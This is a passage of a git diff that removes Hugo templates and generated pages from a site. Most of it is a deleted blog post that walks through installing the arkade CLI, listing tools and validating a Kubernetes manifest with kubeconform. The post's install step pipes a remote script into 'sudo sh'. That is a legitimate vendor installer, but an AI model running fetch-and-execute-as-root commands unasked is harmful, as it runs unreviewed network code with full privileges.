"/%s/%s/%s/" $.Site.Language.Lang $.Section $pageSlug }} - {{ end}} - - {{ $isNextPagePassed = true }} - {{break}} - - {{ else if $isActivePage }} - {{ $isActivePagePassed = true }} - - {{ else }} - {{ $prevPageTitle = $page.title }} - - {{ if eq .Site.Language.Lang .Site.DefaultContentLanguage }} - {{ $prevPageHref = printf "/%s/%s/" $.Section $pageSlug }} - {{ else }} - {{ $prevPageHref = printf "/%s/%s/%s/" $.Site.Language.Lang $.Section $pageSlug }} - {{ end}} - - {{ end }} - {{ end}} - {{- end }} -{{ end }} - - \ No newline at end of file diff --git a/layouts/partials/article-header.html b/layouts/partials/article-header.html deleted file mode 100644 index df73bc6..0000000 --- a/layouts/partials/article-header.html +++ /dev/null @@ -1,3 +0,0 @@ -
-

{{ .Title | markdownify }}

-
\ No newline at end of file diff --git a/layouts/partials/article-nav.html b/layouts/partials/article-nav.html deleted file mode 100644 index dfd6837..0000000 --- a/layouts/partials/article-nav.html +++ /dev/null @@ -1,4 +0,0 @@ - \ No newline at end of file diff --git a/layouts/partials/blog/content.html b/layouts/partials/blog/content.html deleted file mode 100644 index 2972bbf..0000000 --- a/layouts/partials/blog/content.html +++ /dev/null @@ -1,14 +0,0 @@ -{{ $posts := where site.RegularPages "Section" "blog" }} -
-
-
-
-
-
- {{ .Content }} -
-
-
-
-
-
\ No newline at end of file diff --git a/layouts/partials/blog/cover.html b/layouts/partials/blog/cover.html deleted file mode 100644 index e69de29..0000000 diff --git a/layouts/partials/blog/hero.html b/layouts/partials/blog/hero.html deleted file mode 100644 index c564e64..0000000 --- a/layouts/partials/blog/hero.html +++ /dev/null @@ -1,19 +0,0 @@ -{{ $isPost := ne .File.BaseFileName "_index" }} -
-
-
-
-

- {{ .Title }} -

-
- - {{ if $isPost }} - {{ $date := dateFormat "January 2, 2006" .Date }} -

- {{ .Params.author }} | {{ $date }} -

- {{ end }} -
-
-
diff --git a/layouts/partials/blog/post-list.html b/layouts/partials/blog/post-list.html deleted file mode 100644 index 8ba62c9..0000000 --- a/layouts/partials/blog/post-list.html +++ /dev/null @@ -1,23 +0,0 @@ -{{ $posts := where site.RegularPages "Section" "blog" }} -
-
-
- {{ range $posts }} - {{ $date := dateFormat "January 2, 2006" .Date }} - - {{ end }} -
-
-
\ No newline at end of file diff --git a/layouts/partials/favicons.html b/layouts/partials/favicons.html deleted file mode 100644 index d0bfbee..0000000 --- a/layouts/partials/favicons.html +++ /dev/null @@ -1,5 +0,0 @@ - - - - - \ No newline at end of file diff --git a/layouts/partials/github-buttons.html b/layouts/partials/github-buttons.html deleted file mode 100644 index fb02b3f..0000000 --- a/layouts/partials/github-buttons.html +++ /dev/null @@ -1,6 +0,0 @@ -
- Star - Fork - - -
diff --git a/layouts/partials/github-repos-grid.html b/layouts/partials/github-repos-grid.html deleted file mode 100644 index 1623bff..0000000 --- a/layouts/partials/github-repos-grid.html +++ /dev/null @@ -1,17 +0,0 @@ - \ No newline at end of file diff --git a/layouts/partials/head.html b/layouts/partials/head.html deleted file mode 100644 index 73148d5..0000000 --- a/layouts/partials/head.html +++ /dev/null @@ -1,16 +0,0 @@ - - - - - -{{ if .IsHome }}{{ .Site.Title | markdownify }} · {{ .Site.Params.description | markdownify }}{{ else }}{{ .Title | markdownify }} · {{ .Site.Title | markdownify }}{{ end }} - - - -{{ with .Params.robots -}} - -{{- end }} - -{{ partial "stylesheets" . }} -{{ partial "favicons" . }} -{{ partial "analytics" . }} \ No newline at end of file diff --git a/layouts/partials/scripts.html b/layouts/partials/scripts.html deleted file mode 100644 index 36f94c0..0000000 --- a/layouts/partials/scripts.html +++ /dev/null @@ -1,29 +0,0 @@ -{{ $dropdown := resources.Get "js/component/dropdown.js" }} -{{ $colorPreference := resources.Get "js/component/color-preference.js" }} -{{ $articleNav := resources.Get "js/component/article-nav.js" }} -{{ $sidebar := resources.Get "js/component/sidebar.js" }} -{{ $toc := resources.Get "js/component/toc.js" }} -{{ $baseJs := slice $dropdown $colorPreference $articleNav $sidebar $toc | resources.Concat "js/base.js" | minify }} - - - -{{ $algolia := index .Site.Params.algolia .Site.Language.Lang }} -{{ if $algolia }} - {{ $docsearch := resources.Get "js/component/docsearch.min.js" }} - - -{{ end }} - - \ No newline at end of file diff --git a/layouts/partials/sidebar.html b/layouts/partials/sidebar.html deleted file mode 100644 index 42751e1..0000000 --- a/layouts/partials/sidebar.html +++ /dev/null @@ -1,41 +0,0 @@ -{{ $data := index .Site.Data .Site.Language.Lang .Section "sidebar" }} - -{{- $url := split .Permalink "/" -}} -{{- $urlPageSlug := index $url (sub (len $url) 2) -}} - - \ No newline at end of file diff --git a/layouts/partials/site-footer.html b/layouts/partials/site-footer.html deleted file mode 100644 index edf486f..0000000 --- a/layouts/partials/site-footer.html +++ /dev/null @@ -1,45 +0,0 @@ - \ No newline at end of file diff --git a/layouts/partials/site-header.html b/layouts/partials/site-header.html deleted file mode 100644 index 62dc6be..0000000 --- a/layouts/partials/site-header.html +++ /dev/null @@ -1,56 +0,0 @@ - \ No newline at end of file diff --git a/layouts/partials/stylesheets.html b/layouts/partials/stylesheets.html deleted file mode 100644 index d9ad4c3..0000000 --- a/layouts/partials/stylesheets.html +++ /dev/null @@ -1,21 +0,0 @@ -{{ $options := (dict "outputStyle" "compressed" "enableSourceMap" true) }} - -{{ $homeStyle := resources.Get "scss/home.scss" | resources.ToCSS $options }} -{{ $baseStyle := resources.Get "scss/base.scss" | resources.ToCSS $options }} - -{{ if .IsHome }} - - -{{ else }} - -{{ end }} - -{{ $themeStyle := resources.Get "scss/theme/default.scss" | resources.ToCSS $options }} - - -{{ $algolia := index .Site.Params.algolia .Site.Language.Lang }} -{{ if $algolia }} - - {{ $docsearchStyle := resources.Get "scss/component/docsearch.scss" | resources.ToCSS $options }} - -{{ end }} \ No newline at end of file diff --git a/layouts/partials/toc.html b/layouts/partials/toc.html deleted file mode 100644 index 1d729d2..0000000 --- a/layouts/partials/toc.html +++ /dev/null @@ -1,7 +0,0 @@ - \ No newline at end of file diff --git a/layouts/shortcodes/rawhtml.html b/layouts/shortcodes/rawhtml.html deleted file mode 100644 index 520ec17..0000000 --- a/layouts/shortcodes/rawhtml.html +++ /dev/null @@ -1,2 +0,0 @@ - -{{.Inner}} \ No newline at end of file diff --git a/layouts/shortcodes/youtube.html b/layouts/shortcodes/youtube.html deleted file mode 100644 index 9168ef3..0000000 --- a/layouts/shortcodes/youtube.html +++ /dev/null @@ -1,10 +0,0 @@ -{{- $pc := .Page.Site.Config.Privacy.YouTube -}} -{{- if not $pc.Disable -}} -{{- $ytHost := cond $pc.PrivacyEnhanced "www.youtube-nocookie.com" "www.youtube.com" -}} -{{- $id := .Get "id" | default (.Get 0) -}} -{{- $class := .Get "class" | default (.Get 1) -}} -{{- $title := .Get "title" | default "YouTube Video" }} -
- -
-{{ end -}} \ No newline at end of file diff --git a/public/.DS_Store b/public/.DS_Store deleted file mode 100644 index 940e942..0000000 Binary files a/public/.DS_Store and /dev/null differ diff --git a/public/blog/Arkade.png b/public/blog/Arkade.png deleted file mode 100644 index 0ca9581..0000000 Binary files a/public/blog/Arkade.png and /dev/null differ diff --git a/public/blog/arkade-open-source-marketplace-for-kubernetes/index.html b/public/blog/arkade-open-source-marketplace-for-kubernetes/index.html deleted file mode 100644 index e062efc..0000000 --- a/public/blog/arkade-open-source-marketplace-for-kubernetes/index.html +++ /dev/null @@ -1,784 +0,0 @@ - - - - - - - - -Arkade Open Source Marketplace for Kubernetes · kubedaily - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-

Arkade Open Source Marketplace for Kubernetes

-
- -
-
-
-
-

- Arkade Open Source Marketplace for Kubernetes -

-
- - - -

- Sangam Biradar | February 13, 2023 -

- -
-
-
- -
- - - - - - - -

Getting started with Arkade CLI

-
    -
  • Macos/Linux
  • -
-

-~ curl -sLS https://get.arkade.dev | sudo sh
-
-Password:
-Downloading package https://github.com/alexellis/arkade/releases/download/0.9.7/arkade-darwin-arm64 as /tmp/arkade-darwin-arm64
-Download complete.
-
-Running with sufficient permissions to attempt to move arkade to /usr/local/bin
-New version of arkade installed to /usr/local/bin
-Creating alias 'ark' for 'arkade'.
-            _             _      
-  __ _ _ __| | ____ _  __| | ___ 
- / _` | '__| |/ / _` |/ _` |/ _ \
-| (_| | |  |   < (_| | (_| |  __/
- \__,_|_|  |_|\_\__,_|\__,_|\___|
-
-Open Source Marketplace For Developer Tools
-
-Version: 0.9.7
-Git Commit: 461fb7a9d05d7e3d13a39e03e1e38b6936cb15bd
-
- 🐳 arkade needs your support: https://github.com/sponsors/alexellis
-➜  ~ 
-

Get list of most needed tools & CLI for all Kubenetes Developer

-
➜  ~ arkade get 
-+------------------+--------------------------------------------------------------+
-|       TOOL       |                         DESCRIPTION                          |
-+------------------+--------------------------------------------------------------+
-| actions-usage    | Get usage insights from GitHub Actions.                      |
-+------------------+--------------------------------------------------------------+
-| actuated-cli     | Official CLI for actuated.dev                                |
-+------------------+--------------------------------------------------------------+
-| argocd           | Declarative, GitOps continuous delivery tool for Kubernetes. |
-+------------------+--------------------------------------------------------------+
-| argocd-autopilot | An opinionated way of installing Argo-CD and managing GitOps |
-|                  | repositories.                                                |
-+------------------+--------------------------------------------------------------+
-| arkade           | Portable marketplace for downloading your favourite devops   |
-|                  | CLIs and installing helm charts, with a single command.      |
-+------------------+--------------------------------------------------------------+
-| autok3s          | Run Rancher Lab's lightweight Kubernetes distribution k3s    |
-|                  | everywhere.                                                  |
-+------------------+--------------------------------------------------------------+
-| buildx           | Docker CLI plugin for extended build capabilities with       |
-|                  | BuildKit.                                                    |
-+------------------+--------------------------------------------------------------+
-| bun              | Bun is an incredibly fast JavaScript runtime, bundler,       |
-|                  | transpiler and package manager – all in one.                 |
-+------------------+--------------------------------------------------------------+
-| butane           | Translates human readable Butane Configs into machine        |
-|                  | readable Ignition Configs                                    |
-+------------------+--------------------------------------------------------------+
-| caddy            | Caddy is an extensible server platform that uses TLS by      |
-|                  | default                                                      |
-+------------------+--------------------------------------------------------------+
-| cilium           | CLI to install, manage & troubleshoot Kubernetes clusters    |
-|                  | running Cilium.                                              |
-+------------------+--------------------------------------------------------------+
-| civo             | CLI for interacting with your Civo resources.                |
-+------------------+--------------------------------------------------------------+
-| clusterawsadm    | Kubernetes Cluster API Provider AWS Management Utility       |
-+------------------+--------------------------------------------------------------+
-| clusterctl       | The clusterctl CLI tool handles the lifecycle of a Cluster   |
-|                  | API management cluster                                       |
-+------------------+--------------------------------------------------------------+
-| cmctl            | cmctl is a CLI tool that helps you manage cert-manager and   |
-|                  | its resources inside your cluster.                           |
-+------------------+--------------------------------------------------------------+
-| conftest         | Write tests against structured configuration data using the  |
-|                  | Open Policy Agent Rego query language                        |
-+------------------+--------------------------------------------------------------+
-| cosign           | Container Signing, Verification and Storage in an OCI        |
-|                  | registry.                                                    |
-+------------------+--------------------------------------------------------------+
-| cr               | Hosting Helm Charts via GitHub Pages and Releases            |
-+------------------+--------------------------------------------------------------+
-| crane            | crane is a tool for interacting with remote images and       |
-|                  | registries                                                   |
-+------------------+--------------------------------------------------------------+
-| croc             | Easily and securely send things from one computer to another |
-+------------------+--------------------------------------------------------------+
-| dagger           | A portable devkit for CI/CD pipelines.                       |
-+------------------+--------------------------------------------------------------+
-| devspace         | Automate your deployment workflow with DevSpace and develop  |
-|                  | software directly inside Kubernetes.                         |
-+------------------+--------------------------------------------------------------+
-| dive             | A tool for exploring each layer in a docker image            |
-+------------------+--------------------------------------------------------------+
-| docker-compose   | Define and run multi-container applications with Docker.     |
-+------------------+--------------------------------------------------------------+
-| doctl            | Official command line interface for the DigitalOcean API.    |
-+------------------+--------------------------------------------------------------+
-| eksctl           | Amazon EKS Kubernetes cluster management                     |
-+------------------+--------------------------------------------------------------+
-| eksctl-anywhere  | Run Amazon EKS on your own infrastructure                    |
-+------------------+--------------------------------------------------------------+
-| faas-cli         | Official CLI for OpenFaaS.                                   |
-+------------------+--------------------------------------------------------------+
-| firectl          | Command-line tool that lets you run arbitrary Firecracker    |
-|                  | MicroVMs                                                     |
-+------------------+--------------------------------------------------------------+
-| flux             | Continuous Delivery solution for Kubernetes powered by       |
-|                  | GitOps Toolkit.                                              |
-+------------------+--------------------------------------------------------------+
-| flyctl           | Command line tools for fly.io services                       |
-+------------------+--------------------------------------------------------------+
-| fstail           | Tail modified files in a directory.                          |
-+------------------+--------------------------------------------------------------+
-| fzf              | General-purpose command-line fuzzy finder                    |
-+------------------+--------------------------------------------------------------+
-| gh               | GitHub’s official command line tool.                         |
-+------------------+--------------------------------------------------------------+
-| golangci-lint    | Go linters aggregator.                                       |
-+------------------+--------------------------------------------------------------+
-| gomplate         | A flexible commandline tool for template rendering. Supports |
-|                  | lots of local and remote datasources.                        |
-+------------------+--------------------------------------------------------------+
-| goreleaser       | Deliver Go binaries as fast and easily as possible           |
-+------------------+--------------------------------------------------------------+
-| grafana-agent    | Grafana Agent is a telemetry collector for sending           |
-|                  | metrics, logs, and trace data to the opinionated Grafana     |
-|                  | observability stack.                                         |
-+------------------+--------------------------------------------------------------+
-| grype            | A vulnerability scanner for container images and filesystems |
-+------------------+--------------------------------------------------------------+
-| hadolint         | A smarter Dockerfile linter that helps you build best        |
-|                  | practice Docker images                                       |
-+------------------+--------------------------------------------------------------+
-| helm             | The Kubernetes Package Manager: Think of it like             |
-|                  | apt/yum/homebrew for Kubernetes.                             |
-+------------------+--------------------------------------------------------------+
-| helmfile         | Deploy Kubernetes Helm Charts                                |
-+------------------+--------------------------------------------------------------+
-| hey              | Load testing tool                                            |
-+------------------+--------------------------------------------------------------+
-| hostctl          | Dev tool to manage /etc/hosts like a pro!                    |
-+------------------+--------------------------------------------------------------+
-| hubble           | CLI for network, service & security observability for        |
-|                  | Kubernetes clusters running Cilium.                          |
-+------------------+--------------------------------------------------------------+
-| hugo             | Static HTML and CSS website generator.                       |
-+------------------+--------------------------------------------------------------+
-| influx           | InfluxDB’s command line interface (influx) is an interactive |
-|                  | shell for the HTTP API.                                      |
-+------------------+--------------------------------------------------------------+
-| inlets-pro       | Cloud Native Tunnel for HTTP and TCP traffic.                |
-+------------------+--------------------------------------------------------------+
-| inletsctl        | Automates the task of creating an exit-server (tunnel        |
-|                  | server) on public cloud infrastructure.                      |
-+------------------+--------------------------------------------------------------+
-| istioctl         | Service Mesh to establish a programmable, application-aware  |
-|                  | network using the Envoy service proxy.                       |
-+------------------+--------------------------------------------------------------+
-| jq               | jq is a lightweight and flexible command-line JSON processor |
-+------------------+--------------------------------------------------------------+
-| just             | Just a command runner                                        |
-+------------------+--------------------------------------------------------------+
-| k0s              | Zero Friction Kubernetes                                     |
-+------------------+--------------------------------------------------------------+
-| k0sctl           | A bootstrapping and management tool for k0s clusters         |
-+------------------+--------------------------------------------------------------+
-| k10multicluster  | Multi-cluster support for K10.                               |
-+------------------+--------------------------------------------------------------+
-| k10tools         | Tools for evaluating and debugging K10.                      |
-+------------------+--------------------------------------------------------------+
-| k3d              | Helper to run Rancher Lab's k3s in Docker.                   |
-+------------------+--------------------------------------------------------------+
-| k3s              | Lightweight Kubernetes                                       |
-+------------------+--------------------------------------------------------------+
-| k3sup            | Bootstrap Kubernetes with k3s over SSH < 1 min.              |
-+------------------+--------------------------------------------------------------+
-| k9s              | Provides a terminal UI to interact with your Kubernetes      |
-|                  | clusters.                                                    |
-+------------------+--------------------------------------------------------------+
-| kail             | Kubernetes log viewer.                                       |
-+------------------+--------------------------------------------------------------+
-| kanctl           | Framework for application-level data management on           |
-|                  | Kubernetes.                                                  |
-+------------------+--------------------------------------------------------------+
-| kgctl            | A CLI to manage Kilo, a multi-cloud network overlay built on |
-|                  | WireGuard and designed for Kubernetes.                       |
-+------------------+--------------------------------------------------------------+
-| kim              | Build container images inside of Kubernetes. (Experimental)  |
-+------------------+--------------------------------------------------------------+
-| kind             | Run local Kubernetes clusters using Docker container nodes.  |
-+------------------+--------------------------------------------------------------+
-| kops             | Production Grade K8s Installation, Upgrades, and Management. |
-+------------------+--------------------------------------------------------------+
-| krew             | Package manager for kubectl plugins.                         |
-+------------------+--------------------------------------------------------------+
-| kube-bench       | Checks whether Kubernetes is deployed securely by running    |
-|                  | the checks documented in the CIS Kubernetes Benchmark.       |
-+------------------+--------------------------------------------------------------+
-| kubebuilder      | Framework for building Kubernetes APIs using custom resource |
-|                  | definitions (CRDs).                                          |
-+------------------+--------------------------------------------------------------+
-| kubecm           | Easier management of kubeconfig.                             |
-+------------------+--------------------------------------------------------------+
-| kubeconform      | A FAST Kubernetes manifests validator, with support for      |
-|                  | Custom Resources                                             |
-+------------------+--------------------------------------------------------------+
-| kubectl          | Run commands against Kubernetes clusters                     |
-+------------------+--------------------------------------------------------------+
-| kubectx          | Faster way to switch between clusters.                       |
-+------------------+--------------------------------------------------------------+
-| kubens           | Switch between Kubernetes namespaces smoothly.               |
-+------------------+--------------------------------------------------------------+
-| kubescape        | kubescape is the first tool for testing if Kubernetes        |
-|                  | is deployed securely as defined in Kubernetes Hardening      |
-|                  | Guidance by to NSA and CISA                                  |
-+------------------+--------------------------------------------------------------+
-| kubeseal         | A Kubernetes controller and tool for one-way encrypted       |
-|                  | Secrets                                                      |
-+------------------+--------------------------------------------------------------+
-| kubestr          | Kubestr discovers, validates and evaluates your Kubernetes   |
-|                  | storage options.                                             |
-+------------------+--------------------------------------------------------------+
-| kubetail         | Bash script to tail Kubernetes logs from multiple pods at    |
-|                  | the same time.                                               |
-+------------------+--------------------------------------------------------------+
-| kubeval          | Validate your Kubernetes configuration files, supports       |
-|                  | multiple Kubernetes versions                                 |
-+------------------+--------------------------------------------------------------+
-| kumactl          | kumactl is a CLI to interact with Kuma and its data          |
-+------------------+--------------------------------------------------------------+
-| kustomize        | Customization of kubernetes YAML configurations              |
-+------------------+--------------------------------------------------------------+
-| lazygit          | A simple terminal UI for git commands.                       |
-+------------------+--------------------------------------------------------------+
-| linkerd2         | Ultralight, security-first service mesh for Kubernetes.      |
-+------------------+--------------------------------------------------------------+
-| mc               | MinIO Client is a replacement for ls, cp, mkdir, diff and    |
-|                  | rsync commands for filesystems and object storage.           |
-+------------------+--------------------------------------------------------------+
-| metal            | Official Equinix Metal CLI                                   |
-+------------------+--------------------------------------------------------------+
-| minikube         | Runs the latest stable release of Kubernetes, with support   |
-|                  | for standard Kubernetes features.                            |
-+------------------+--------------------------------------------------------------+
-| mixctl           | A tiny TCP load-balancer.                                    |
-+------------------+--------------------------------------------------------------+
-| mkcert           | A simple zero-config tool to make locally trusted            |
-|                  | development certificates with any names you'd like.          |
-+------------------+--------------------------------------------------------------+
-| nats             | Utility to interact with and manage NATS.                    |
-+------------------+--------------------------------------------------------------+
-| nats-server      | Cloud native message bus and queue server                    |
-+------------------+--------------------------------------------------------------+
-| nerdctl          | Docker-compatible CLI for containerd, with support for       |
-|                  | Compose                                                      |
-+------------------+--------------------------------------------------------------+
-| nova             | Find outdated or deprecated Helm charts running in your      |
-|                  | cluster.                                                     |
-+------------------+--------------------------------------------------------------+
-| oh-my-posh       | A prompt theme engine for any shell that can display         |
-|                  | kubernetes information.                                      |
-+------------------+--------------------------------------------------------------+
-| opa              | General-purpose policy engine that enables unified,          |
-|                  | context-aware policy enforcement across the entire stack.    |
-+------------------+--------------------------------------------------------------+
-| operator-sdk     | Operator SDK is a tool for scaffolding and generating code   |
-|                  | for building Kubernetes operators                            |
-+------------------+--------------------------------------------------------------+
-| osm              | Open Service Mesh uniformly manages, secures, and gets       |
-|                  | out-of-the-box observability features.                       |
-+------------------+--------------------------------------------------------------+
-| pack             | Build apps using Cloud Native Buildpacks.                    |
-+------------------+--------------------------------------------------------------+
-| packer           | Build identical machine images for multiple platforms from a |
-|                  | single source configuration.                                 |
-+------------------+--------------------------------------------------------------+
-| polaris          | Run checks to ensure Kubernetes pods and controllers are     |
-|                  | configured using best practices.                             |
-+------------------+--------------------------------------------------------------+
-| popeye           | Scans live Kubernetes cluster and reports potential issues   |
-|                  | with deployed resources and configurations.                  |
-+------------------+--------------------------------------------------------------+
-| porter           | With Porter you can package your application artifact,       |
-|                  | tools, etc. as a bundle that can distribute and install.     |
-+------------------+--------------------------------------------------------------+
-| promtool         | Prometheus rule tester and debugging utility                 |
-+------------------+--------------------------------------------------------------+
-| rekor-cli        | Secure Supply Chain - Transparency Log                       |
-+------------------+--------------------------------------------------------------+
-| rpk              | Kafka compatible streaming platform for mission critical     |
-|                  | workloads.                                                   |
-+------------------+--------------------------------------------------------------+
-| run-job          | Run a Kubernetes Job and get the logs when it's done.        |
-+------------------+--------------------------------------------------------------+
-| scaleway-cli     | Scaleway CLI is a tool to help you pilot your Scaleway       |
-|                  | infrastructure directly from your terminal.                  |
-+------------------+--------------------------------------------------------------+
-| sops             | Simple and flexible tool for managing secrets                |
-+------------------+--------------------------------------------------------------+
-| stern            | Multi pod and container log tailing for Kubernetes.          |
-+------------------+--------------------------------------------------------------+
-| syft             | CLI tool and library for generating a Software Bill of       |
-|                  | Materials from container images and filesystems              |
-+------------------+--------------------------------------------------------------+
-| talosctl         | The command-line tool for managing Talos Linux OS.           |
-+------------------+--------------------------------------------------------------+
-| tctl             | Temporal CLI.                                                |
-+------------------+--------------------------------------------------------------+
-| terraform        | Infrastructure as Code for major cloud providers.            |
-+------------------+--------------------------------------------------------------+
-| terragrunt       | Terragrunt is a thin wrapper for Terraform that provides     |
-|                  | extra tools for working with multiple Terraform modules      |
-+------------------+--------------------------------------------------------------+
-| terrascan        | Detect compliance and security violations across             |
-|                  | Infrastructure as Code.                                      |
-+------------------+--------------------------------------------------------------+
-| tfsec            | Security scanner for your Terraform code                     |
-+------------------+--------------------------------------------------------------+
-| tilt             | A multi-service dev environment for teams on Kubernetes.     |
-+------------------+--------------------------------------------------------------+
-| tkn              | A CLI for interacting with Tekton.                           |
-+------------------+--------------------------------------------------------------+
-| trivy            | Vulnerability Scanner for Containers and other Artifacts,    |
-|                  | Suitable for CI.                                             |
-+------------------+--------------------------------------------------------------+
-| vagrant          | Tool for building and distributing development environments. |
-+------------------+--------------------------------------------------------------+
-| vault            | A tool for secrets management, encryption as a service, and  |
-|                  | privileged access management.                                |
-+------------------+--------------------------------------------------------------+
-| vcluster         | Create fully functional virtual Kubernetes clusters - Each   |
-|                  | vcluster runs inside a namespace of the underlying k8s       |
-|                  | cluster.                                                     |
-+------------------+--------------------------------------------------------------+
-| viddy            | A modern watch command. Time machine and pager etc.          |
-+------------------+--------------------------------------------------------------+
-| waypoint         | Easy application deployment for Kubernetes and Amazon ECS    |
-+------------------+--------------------------------------------------------------+
-| yq               | Portable command-line YAML processor.                        |
-+------------------+--------------------------------------------------------------+
-There are 124 tools, use `arkade get NAME` to download one.
-

Install any above tool with simple syntax

-
arkade get < NAME OF TOOL > 
-

lets install one of tool

-

kubeconform - A FAST Kubernetes manifests validator, with support for Custom Resources

-
arkade get kubeconform 
-

output

-
Downloading: kubeconform
-2023/04/02 10:12:06 Looking up version for kubeconform
-2023/04/02 10:12:08 Found: v0.6.1
-Downloading: https://github.com/yannh/kubeconform/releases/download/v0.6.1/kubeconform-darwin-arm64.tar.gz
-5.17 MiB / 5.17 MiB [--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------] 100.00%
-/var/folders/xy/3ssjv1j152x3_0ryt4yb982c0000gn/T/kubeconform-darwin-arm64.tar.gz written.
-2023/04/02 10:12:11 Looking up version for kubeconform
-2023/04/02 10:12:11 Found: v0.6.1
-2023/04/02 10:12:11 Extracted: /var/folders/xy/3ssjv1j152x3_0ryt4yb982c0000gn/T/kubeconform
-2023/04/02 10:12:11 Copying /var/folders/xy/3ssjv1j152x3_0ryt4yb982c0000gn/T/kubeconform to /Users/sangambiradar/.arkade/bin/kubeconform
-
-Wrote: /Users/sangambiradar/.arkade/bin/kubeconform (9.824MB)
-
-# Add arkade binary directory to your PATH variable
-export PATH=$PATH:$HOME/.arkade/bin/
-
-# Test the binary:
-/Users/sangambiradar/.arkade/bin/kubeconform
-
-# Or install with:
-sudo mv /Users/sangambiradar/.arkade/bin/kubeconform /usr/local/bin/
-
-🐳 arkade needs your support: https://github.com/sponsors/alexellis
-➜  ~ export PATH=$PATH:$HOME/.arkade/bin/
-➜  ~ /Users/sangambiradar/.arkade/bin/kubeconform
-2023/04/02 10:12:35 failing to read data from stdin
-➜  ~ sudo mv /Users/sangambiradar/.arkade/bin/kubeconform /usr/local/bin/
-Password:
-➜  ~ kubeconform                                              
-2023/04/02 10:13:00 failing to read data from stdin
-➜  ~ kubeconform -h
-Usage: kubeconform [OPTION]... [FILE OR FOLDER]...
-  -cache string
-    	cache schemas downloaded via HTTP to this folder
-  -debug
-    	print debug information
-  -exit-on-error
-    	immediately stop execution when the first error is encountered
-  -h	show help information
-  -ignore-filename-pattern value
-    	regular expression specifying paths to ignore (can be specified multiple times)
-  -ignore-missing-schemas
-    	skip files with missing schemas instead of failing
-  -insecure-skip-tls-verify
-    	disable verification of the server's SSL certificate. This will make your HTTPS connections insecure
-  -kubernetes-version string
-    	version of Kubernetes to validate against, e.g.: 1.18.0 (default "master")
-  -n int
-    	number of goroutines to run concurrently (default 4)
-  -output string
-    	output format - json, junit, tap, text (default "text")
-  -reject string
-    	comma-separated list of kinds or GVKs to reject
-  -schema-location value
-    	override schemas location search path (can be specified multiple times)
-  -skip string
-    	comma-separated list of kinds or GVKs to ignore
-  -strict
-    	disallow additional properties not in schema or duplicated keys
-  -summary
-    	print a summary at the end (ignored for junit output)
-  -v	show version information
-  -verbose
-    	print results for all resources (ignored for tap and junit output)
-

lets create ngnix deployement and validate kubernetes manifest

-
apiVersion: v1
-kind: ReplicationController
-metadata:
-  name: "bob"
-spec:
-  replicas: asd"
-  selector:
-    app: nginx
-  templates:
-    metadata:
-      name: nginx
-      labels:
-        app: nginx
-    spec:
-      containers:
-      - name: nginx
-        image: nginx
-        ports:
-        - containerPort: 80
-

check it out if above kubenetes menifest Valid or not with Summary in Json format

-
kubeconform -summary -output json ngnix.yaml
-{
-  "resources": [
-    {
-      "filename": "ngnix.yaml",
-      "kind": "ReplicationController",
-      "name": "bob",
-      "version": "v1",
-      "status": "statusInvalid",
-      "msg": "problem validating schema. Check JSON formatting: jsonschema: '/spec/replicas' does not validate with https://raw.githubusercontent.com/yannh/kubernetes-json-schema/master/master-standalone/replicationcontroller-v1.json#/properties/spec/properties/replicas/type: expected integer or null, but got string",
-      "validationErrors": [
-        {
-          "path": "/spec/replicas",
-          "msg": "expected integer or null, but got string"
-        }
-      ]
-    }
-  ],
-  "summary": {
-    "valid": 0,
-    "invalid": 1,
-    "errors": 0,
-    "skipped": 0
-  }
-}
-

add and contribute your favourite cloudNative Tool To arkade

-

here is example one of tool - https://github.com/tenable/terrascan

- -
tools = append(tools, Tool{
-Owner: "tenable",
-Repo: "terrascan",
-Name: "terrascan",
-Description: "Detect compliance and security violations across Infrastructure as Code.", BinaryTemplate: `
-{{$osStr := ""}}
-{{ if HasPrefix .OS "ming" -}}
-{{$osStr = "Windows"}}
-{{- else if eq .OS "linux" -}}
-{{$osStr = "Linux"}}
-{{- else if eq .OS "darwin" -}}
-{{$osStr = "Darwin"}}
-{{- end -}}
-{{$archStr := .Arch}}
-{{- if eq .Arch "aarch64" -}}
-{{$archStr = "arm64"}}
-{{- else if eq .Arch "x86_64" -}}
-{{$archStr = "x86_64"}}
-{{- end -}}
-{{.Name}}_{{slice .Version 1}}_{{$osStr}}_{{$archStr}}.tar.gz`,
-})
-return tools }
-

write test cases for above tool

-
func Test_DownloadTerrascan(t *testing.T) { tools := MakeTools()
-name := "terrascan"
-tool := getTool(name, tools)
-tests := []test{
-{
-os: "darwin",
-arch: arch64bit,
-version: "v1.11.0",
-url: `https://github.com/tenable/terrascan/releases/download/v1.11.0/terrascan_1.11.0_Darwin_x86_64.tar.gz`,
-},
-{
-os: "darwin",
-arch: archARM64,
-version: "v1.11.0",
-url: `https://github.com/tenable/terrascan/releases/download/v1.11.0/terrascan_1.11.0_Darwin_arm64.tar.gz`,
-},
-{
-os: "linux",
-arch: arch64bit,
-version: "v1.11.0",
-url: `https://github.com/tenable/terrascan/releases/download/v1.11.0/terrascan_1.11.0_Linux_x86_64.tar.gz`,
-},
-{
-os: "linux",
-arch: archARM64,
-version: "v1.11.0",
-url: `https://github.com/tenable/terrascan/releases/download/v1.11.0/terrascan_1.11.0_Linux_arm64.tar.gz`,
-},
-{
-os: "ming",
-arch: arch64bit,
-version: "v1.11.0",
-url: `https://github.com/tenable/terrascan/releases/download/v1.11.0/terrascan_1.11.0_Windows_x86_64.tar.gz`,
-}, }
-for _, tc := range tests {
-t.Run(tc.os+" "+tc.arch+" "+tc.version, func(r *testing.T) {
-got, err := tool.GetURL(tc.os, tc.arch, tc.version, false) if err != nil {
-t.Fatal(err) }
-if got != tc.url {
-t.Errorf("want: %s, got: %s", tc.url, got) }
-}) }
-}
-

Join CloudNativeFolks Community or Reach out to me on twitter @sangamtwts

- -
- - - - - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/public/blog/certmanager/certmanager.png b/public/blog/certmanager/certmanager.png deleted file mode 100644 index 1618bfe..0000000 Binary files a/public/blog/certmanager/certmanager.png and /dev/null differ diff --git a/public/blog/certmanager/index.html b/public/blog/certmanager/index.html deleted file mode 100644 index e535ef0..0000000 --- a/public/blog/certmanager/index.html +++ /dev/null @@ -1,559 +0,0 @@ - - - - - - - - -CertManager - Automatically provision and manage TLS certificates in Kubernetes · kubedaily - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-

CertManager - Automatically provision and manage TLS certificates in Kubernetes

-
- -
-
-
-
-

- CertManager - Automatically provision and manage TLS certificates in Kubernetes -

-
